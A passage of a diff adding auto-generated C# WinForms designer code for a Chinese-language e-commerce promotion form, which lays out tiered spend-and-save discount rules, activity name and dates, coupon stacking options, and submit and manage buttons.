System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnAdd1.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnAdd1.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnAdd1.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnAdd1.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnAdd1.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnAdd1.Style.GradientAngle = 90; + this.btnAdd1.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnAdd1.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnAdd1.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnAdd1.TabIndex = 552; + this.btnAdd1.Text = "增加规则(1/5)"; + this.btnAdd1.Click += new System.EventHandler(this.btnAdd1_Click); + // + // panel7 + // + this.panel7.Controls.Add(this.btnRemove5); + this.panel7.Controls.Add(this.label15); + this.panel7.Controls.Add(this.txtP10); + this.panel7.Controls.Add(this.txtP9); + this.panel7.Controls.Add(this.label16); + this.panel7.Controls.Add(this.label17); + this.panel7.Location = new System.Drawing.Point(10, 116); + this.panel7.Name = "panel7"; + this.panel7.Size = new System.Drawing.Size(275, 21); + this.panel7.TabIndex = 519; + this.panel7.Visible = false; + // + // btnRemove5 + // + this.btnRemove5.CanvasColor = System.Drawing.SystemColors.Control; + this.btnRemove5.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnRemove5.DisabledBackColor = System.Drawing.Color.Empty; + this.btnRemove5.Location = new System.Drawing.Point(223, 0); + this.btnRemove5.Name = "btnRemove5"; + this.btnRemove5.Size = new System.Drawing.Size(50, 21); + this.btnRemove5.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove5.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnRemove5.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnRemove5.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnRemove5.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove5.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnRemove5.Style.GradientAngle = 90; + this.btnRemove5.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove5.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove5.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove5.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove5.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnRemove5.TabIndex = 523; + this.btnRemove5.Text = "删除"; + this.btnRemove5.Click += new System.EventHandler(this.btnRemove5_Click); + // + // label15 + // + this.label15.AutoSize = true; + this.label15.Location = new System.Drawing.Point(200, 4); + this.label15.Name = "label15"; + this.label15.Size = new System.Drawing.Size(17, 12); + this.label15.TabIndex = 518; + this.label15.Text = "元"; + // + // txtP10 + // + this.txtP10.Location = new System.Drawing.Point(131, 0); + this.txtP10.Name = "txtP10"; + this.txtP10.Size = new System.Drawing.Size(65, 21); + this.txtP10.TabIndex = 480; + // + // txtP9 + // + this.txtP9.Location = new System.Drawing.Point(23, 0); + this.txtP9.Name = "txtP9"; + this.txtP9.Size = new System.Drawing.Size(65, 21); + this.txtP9.TabIndex = 480; + // + // label16 + // + this.label16.AutoSize = true; + this.label16.Location = new System.Drawing.Point(92, 4); + this.label16.Name = "label16"; + this.label16.Size = new System.Drawing.Size(35, 12); + this.label16.TabIndex = 517; + this.label16.Text = "元 减"; + // + // label17 + // + this.label17.AutoSize = true; + this.label17.Location = new System.Drawing.Point(3, 4); + this.label17.Name = "label17"; + this.label17.Size = new System.Drawing.Size(17, 12); + this.label17.TabIndex = 517; + this.label17.Text = "满"; + // + // panel6 + // + this.panel6.Controls.Add(this.btnRemove4); + this.panel6.Controls.Add(this.label12); + this.panel6.Controls.Add(this.txtP8); + this.panel6.Controls.Add(this.txtP7); + this.panel6.Controls.Add(this.label13); + this.panel6.Controls.Add(this.label14); + this.panel6.Location = new System.Drawing.Point(10, 92); + this.panel6.Name = "panel6"; + this.panel6.Size = new System.Drawing.Size(275, 21); + this.panel6.TabIndex = 519; + this.panel6.Visible = false; + // + // btnRemove4 + // + this.btnRemove4.CanvasColor = System.Drawing.SystemColors.Control; + this.btnRemove4.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnRemove4.DisabledBackColor = System.Drawing.Color.Empty; + this.btnRemove4.Location = new System.Drawing.Point(223, 0); + this.btnRemove4.Name = "btnRemove4"; + this.btnRemove4.Size = new System.Drawing.Size(50, 21); + this.btnRemove4.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove4.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnRemove4.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnRemove4.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnRemove4.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove4.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnRemove4.Style.GradientAngle = 90; + this.btnRemove4.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove4.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove4.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove4.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove4.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnRemove4.TabIndex = 523; + this.btnRemove4.Text = "删除"; + this.btnRemove4.Click += new System.EventHandler(this.btnRemove4_Click); + // + // label12 + // + this.label12.AutoSize = true; + this.label12.Location = new System.Drawing.Point(200, 4); + this.label12.Name = "label12"; + this.label12.Size = new System.Drawing.Size(17, 12); + this.label12.TabIndex = 518; + this.label12.Text = "元"; + // + // txtP8 + // + this.txtP8.Location = new System.Drawing.Point(131, 0); + this.txtP8.Name = "txtP8"; + this.txtP8.Size = new System.Drawing.Size(65, 21); + this.txtP8.TabIndex = 480; + // + // txtP7 + // + this.txtP7.Location = new System.Drawing.Point(23, 0); + this.txtP7.Name = "txtP7"; + this.txtP7.Size = new System.Drawing.Size(65, 21); + this.txtP7.TabIndex = 480; + // + // label13 + // + this.label13.AutoSize = true; + this.label13.Location = new System.Drawing.Point(92, 4); + this.label13.Name = "label13"; + this.label13.Size = new System.Drawing.Size(35, 12); + this.label13.TabIndex = 517; + this.label13.Text = "元 减"; + // + // label14 + // + this.label14.AutoSize = true; + this.label14.Location = new System.Drawing.Point(3, 4); + this.label14.Name = "label14"; + this.label14.Size = new System.Drawing.Size(17, 12); + this.label14.TabIndex = 517; + this.label14.Text = "满"; + // + // panel4 + // + this.panel4.Controls.Add(this.btnRemove3); + this.panel4.Controls.Add(this.label9); + this.panel4.Controls.Add(this.txtP6); + this.panel4.Controls.Add(this.txtP5); + this.panel4.Controls.Add(this.label10); + this.panel4.Controls.Add(this.label11); + this.panel4.Location = new System.Drawing.Point(10, 68); + this.panel4.Name = "panel4"; + this.panel4.Size = new System.Drawing.Size(275, 21); + this.panel4.TabIndex = 519; + this.panel4.Visible = false; + // + // btnRemove3 + // + this.btnRemove3.CanvasColor = System.Drawing.SystemColors.Control; + this.btnRemove3.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnRemove3.DisabledBackColor = System.Drawing.Color.Empty; + this.btnRemove3.Location = new System.Drawing.Point(223, 0); + this.btnRemove3.Name = "btnRemove3"; + this.btnRemove3.Size = new System.Drawing.Size(50, 21); + this.btnRemove3.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove3.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnRemove3.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnRemove3.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnRemove3.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove3.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnRemove3.Style.GradientAngle = 90; + this.btnRemove3.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove3.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove3.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove3.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove3.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnRemove3.TabIndex = 523; + this.btnRemove3.Text = "删除"; + this.btnRemove3.Click += new System.EventHandler(this.btnRemove3_Click); + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Location = new System.Drawing.Point(200, 4); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(17, 12); + this.label9.TabIndex = 518; + this.label9.Text = "元"; + // + // txtP6 + // + this.txtP6.Location = new System.Drawing.Point(131, 0); + this.txtP6.Name = "txtP6"; + this.txtP6.Size = new System.Drawing.Size(65, 21); + this.txtP6.TabIndex = 480; + // + // txtP5 + // + this.txtP5.Location = new System.Drawing.Point(23, 0); + this.txtP5.Name = "txtP5"; + this.txtP5.Size = new System.Drawing.Size(65, 21); + this.txtP5.TabIndex = 480; + // + // label10 + // + this.label10.AutoSize = true; + this.label10.Location = new System.Drawing.Point(92, 4); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(35, 12); + this.label10.TabIndex = 517; + this.label10.Text = "元 减"; + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Location = new System.Drawing.Point(3, 4); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(17, 12); + this.label11.TabIndex = 517; + this.label11.Text = "满"; + // + // panel3 + // + this.panel3.Controls.Add(this.btnRemove2); + this.panel3.Controls.Add(this.label6); + this.panel3.Controls.Add(this.txtP4); + this.panel3.Controls.Add(this.txtP3); + this.panel3.Controls.Add(this.label7); + this.panel3.Controls.Add(this.label8); + this.panel3.Location = new System.Drawing.Point(10, 44); + this.panel3.Name = "panel3"; + this.panel3.Size = new System.Drawing.Size(275, 21); + this.panel3.TabIndex = 519; + this.panel3.Visible = false; + // + // btnRemove2 + // + this.btnRemove2.CanvasColor = System.Drawing.SystemColors.Control; + this.btnRemove2.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnRemove2.DisabledBackColor = System.Drawing.Color.Empty; + this.btnRemove2.Location = new System.Drawing.Point(223, 0); + this.btnRemove2.Name = "btnRemove2"; + this.btnRemove2.Size = new System.Drawing.Size(50, 21); + this.btnRemove2.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove2.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnRemove2.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnRemove2.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnRemove2.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove2.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnRemove2.Style.GradientAngle = 90; + this.btnRemove2.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove2.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove2.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove2.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove2.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnRemove2.TabIndex = 523; + this.btnRemove2.Text = "删除"; + this.btnRemove2.Click += new System.EventHandler(this.btnRemove2_Click); + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(200, 4); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(17, 12); + this.label6.TabIndex = 518; + this.label6.Text = "元"; + // + // txtP4 + // + this.txtP4.Location = new System.Drawing.Point(131, 0); + this.txtP4.Name = "txtP4"; + this.txtP4.Size = new System.Drawing.Size(65, 21); + this.txtP4.TabIndex = 480; + // + // txtP3 + // + this.txtP3.Location = new System.Drawing.Point(23, 0); + this.txtP3.Name = "txtP3"; + this.txtP3.Size = new System.Drawing.Size(65, 21); + this.txtP3.TabIndex = 480; + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(92, 4); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(35, 12); + this.label7.TabIndex = 517; + this.label7.Text = "元 减"; + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(3, 4); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(17, 12); + this.label8.TabIndex = 517; + this.label8.Text = "满"; + // + // pnlDiscount + // + this.pnlDiscount.Controls.Add(this.btnRemove1); + this.pnlDiscount.Controls.Add(this.label5); + this.pnlDiscount.Controls.Add(this.txtP2); + this.pnlDiscount.Controls.Add(this.txtP1); + this.pnlDiscount.Controls.Add(this.label4); + this.pnlDiscount.Controls.Add(this.label3); + this.pnlDiscount.Location = new System.Drawing.Point(10, 20); + this.pnlDiscount.Name = "pnlDiscount"; + this.pnlDiscount.Size = new System.Drawing.Size(275, 21); + this.pnlDiscount.TabIndex = 519; + // + // btnRemove1 + // + this.btnRemove1.CanvasColor = System.Drawing.SystemColors.Control; + this.btnRemove1.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnRemove1.DisabledBackColor = System.Drawing.Color.Empty; + this.btnRemove1.Enabled = false; + this.btnRemove1.Location = new System.Drawing.Point(223, 0); + this.btnRemove1.Name = "btnRemove1"; + this.btnRemove1.Size = new System.Drawing.Size(50, 21); + this.btnRemove1.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove1.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnRemove1.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnRemove1.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnRemove1.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove1.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnRemove1.Style.GradientAngle = 90; + this.btnRemove1.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove1.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove1.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove1.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove1.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnRemove1.TabIndex = 523; + this.btnRemove1.Text = "删除"; + this.btnRemove1.Click += new System.EventHandler(this.btnRemove1_Click); + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(200, 4); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(17, 12); + this.label5.TabIndex = 518; + this.label5.Text = "元"; + // + // txtP2 + // + this.txtP2.Location = new System.Drawing.Point(131, 0); + this.txtP2.Name = "txtP2"; + this.txtP2.Size = new System.Drawing.Size(65, 21); + this.txtP2.TabIndex = 480; + // + // txtP1 + // + this.txtP1.Location = new System.Drawing.Point(23, 0); + this.txtP1.Name = "txtP1"; + this.txtP1.Size = new System.Drawing.Size(65, 21); + this.txtP1.TabIndex = 480; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(92, 4); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(35, 12); + this.label4.TabIndex = 517; + this.label4.Text = "元 减"; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(3, 4); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(17, 12); + this.label3.TabIndex = 517; + this.label3.Text = "满"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(8, 137); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(65, 12); + this.label2.TabIndex = 569; + this.label2.Text = "叠加店铺券"; + // + // dptEndTime + // + this.dptEndTime.CustomFormat = "yyyy\'/\'MM\'/\'dd HH:mm:ss"; + this.dptEndTime.Format = System.Windows.Forms.DateTimePickerFormat.Custom; + this.dptEndTime.Location = new System.Drawing.Point(77, 108); + this.dptEndTime.Name = "dptEndTime"; + this.dptEndTime.Size = new System.Drawing.Size(200, 21); + this.dptEndTime.TabIndex = 517; + // + // dptStartTime + // + this.dptStartTime.CustomFormat = "yyyy\'/\'MM\'/\'dd HH:mm:ss"; + this.dptStartTime.Format = System.Windows.Forms.DateTimePickerFormat.Custom; + this.dptStartTime.Location = new System.Drawing.Point(77, 84); + this.dptStartTime.Name = "dptStartTime"; + this.dptStartTime.Size = new System.Drawing.Size(200, 21); + this.dptStartTime.TabIndex = 568; + // + // lblEndTime + // + this.lblEndTime.AutoSize = true; + this.lblEndTime.Location = new System.Drawing.Point(20, 113); + this.lblEndTime.Name = "lblEndTime"; + this.lblEndTime.Size = new System.Drawing.Size(53, 12); + this.lblEndTime.TabIndex = 567; + this.lblEndTime.Text = "结束时间"; + // + // lblStartTime + // + this.lblStartTime.AutoSize = true; + this.lblStartTime.Location = new System.Drawing.Point(20, 89); + this.lblStartTime.Name = "lblStartTime"; + this.lblStartTime.Size = new System.Drawing.Size(53, 12); + this.lblStartTime.TabIndex = 567; + this.lblStartTime.Text = "开始时间"; + // + // panel5 + // + this.panel5.Controls.Add(this.txtActName); + this.panel5.Location = new System.Drawing.Point(77, 60); + this.panel5.Name = "panel5"; + this.panel5.Size = new System.Drawing.Size(200, 21); + this.panel5.TabIndex = 566; + // + // txtActName + // + this.txtActName.Location = new System.Drawing.Point(0, 0); + this.txtActName.Name = "txtActName"; + this.txtActName.Size = new System.Drawing.Size(199, 21); + this.txtActName.TabIndex = 481; + // + // lblName + // + this.lblName.AutoSize = true; + this.lblName.Location = new System.Drawing.Point(20, 65); + this.lblName.Name = "lblName"; + this.lblName.Size = new System.Drawing.Size(53, 12); + this.lblName.TabIndex = 565; + this.lblName.Text = "活动名称"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.ForeColor = System.Drawing.SystemColors.GrayText; + this.label1.Location = new System.Drawing.Point(77, 42); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(197, 12); + this.label1.TabIndex = 563; + this.label1.Text = "下一层级的【优惠】要大于上一层级"; + // + // panel1 + // + this.panel1.Controls.Add(this.rdoAllow); + this.panel1.Controls.Add(this.rdoNotAllow); + this.panel1.Location = new System.Drawing.Point(77, 132); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(200, 23); + this.panel1.TabIndex = 562; + // + // rdoAllow + // + this.rdoAllow.AutoSize = true; + this.rdoAllow.Location = new System.Drawing.Point(100, 3); + this.rdoAllow.Name = "rdoAllow"; + this.rdoAllow.Size = new System.Drawing.Size(47, 16); + this.rdoAllow.TabIndex = 467; + this.rdoAllow.Text = "允许"; + this.rdoAllow.UseVisualStyleBackColor = true; + // + // rdoNotAllow + // + this.rdoNotAllow.AutoSize = true; + this.rdoNotAllow.Checked = true; + this.rdoNotAllow.Location = new System.Drawing.Point(3, 3); + this.rdoNotAllow.Name = "rdoNotAllow"; + this.rdoNotAllow.Size = new System.Drawing.Size(59, 16); + this.rdoNotAllow.TabIndex = 466; + this.rdoNotAllow.TabStop = true; + this.rdoNotAllow.Text = "不允许"; + this.rdoNotAllow.UseVisualStyleBackColor = true; + // + // panel2 + // + this.panel2.Controls.Add(this.rdoOverPieces); + this.panel2.Controls.Add(this.rdoOverYuan); + this.panel2.Location = new System.Drawing.Point(77, 17); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(200, 23); + this.panel2.TabIndex = 562; + // + // rdoOverPieces + // + this.rdoOverPieces.AutoSize = true; + this.rdoOverPieces.Location = new System.Drawing.Point(100, 3); + this.rdoOverPieces.Name = "rdoOverPieces"; + this.rdoOverPieces.Size = new System.Drawing.Size(77, 16); + this.rdoOverPieces.TabIndex = 467; + this.rdoOverPieces.Text = "满N件优惠"; + this.rdoOverPieces.UseVisualStyleBackColor = true; + // + // rdoOverYuan + // + this.rdoOverYuan.AutoSize = true; + this.rdoOverYuan.Checked = true; + this.rdoOverYuan.Location = new System.Drawing.Point(3, 3); + this.rdoOverYuan.Name = "rdoOverYuan"; + this.rdoOverYuan.Size = new System.Drawing.Size(77, 16); + this.rdoOverYuan.TabIndex = 466; + this.rdoOverYuan.TabStop = true; + this.rdoOverYuan.Text = "满N元优惠"; + this.rdoOverYuan.UseVisualStyleBackColor = true; + this.rdoOverYuan.CheckedChanged += new System.EventHandler(this.rdoOverYuan_CheckedChanged); + // + // lblType + // + this.lblType.AutoSize = true; + this.lblType.Location = new System.Drawing.Point(20, 21); + this.lblType.Name = "lblType"; + this.lblType.Size = new System.Drawing.Size(53, 12); + this.lblType.TabIndex = 561; + this.lblType.Text = "活动类型"; + // + // btnManagerAct + // + this.btnManagerAct.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnManagerAct.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnManagerAct.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnManagerAct.DisabledBackColor = System.Drawing.Color.Empty; + this.btnManagerAct.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnManagerAct.Location = new System.Drawing.Point(1110, 127); + this.btnManagerAct.Name = "btnManagerAct"; + this.btnManagerAct.Size = new System.Drawing.Size(80, 23); + this.btnManagerAct.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnManagerAct.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnManagerAct.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnManagerAct.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnManagerAct.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnManagerAct.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnManagerAct.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnManagerAct.Style.GradientAngle = 90; + this.btnManagerAct.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnManagerAct.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnManagerAct.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnManagerAct.TabIndex = 548; + this.btnManagerAct.Text = "活动管理"; + this.btnManagerAct.Click += new System.EventHandler(this.btnManagerAct_Click); + // + // btnSubAct + // + this.btnSubAct.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnSubAct.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnSubAct.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnSubAct.DisabledBackColor = System.Drawing.Color.Empty; + this.btnSubAct.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnSubAct.Location = new System.Drawing.Point(1110, 81); + this.btnSubAct.Name = "btnSubAct"; + this.btnSubAct.Size = new System.Drawing.Size(80, 27); + this.btnSubAct.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnSubAct.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSubAct.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSubAct.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnSubAct.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnSubAct.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnSubAct.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnSubAct.Style.GradientAngle = 90; + this.btnSubAct.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnSubAct.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSubAct.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSubAct.TabIndex = 532; + this.btnSubAct.Text = "提交活动"; + this.btnSubAct.Click += new System.EventHandler(this.btnSubAct_Click); + // + // btnGetProduct + // + this.btnGetProduct.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnGetProduct.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnGetProduct.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnGetProduct.DisabledBackColor = System.Drawing.Color.Empty; + this.btnGetProduct.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnGetProduct.Location = new System.Drawing.Point(1110, 17); + this.btnGetProduct.Name = "btnGetProduct"; + this.btnGetProduct.Size = new System.Drawing.Size(80, 23); + this.btnGetProduct.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnGetProduct.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnGetProduct.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnGetProduct.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnGetProduct.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnGetProduct.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnGetProduct.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnGetProduct.Style.GradientAngle = 90; + this.btnGetProduct.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnGetProduct.StyleMouseOver.BackColor1.Color = 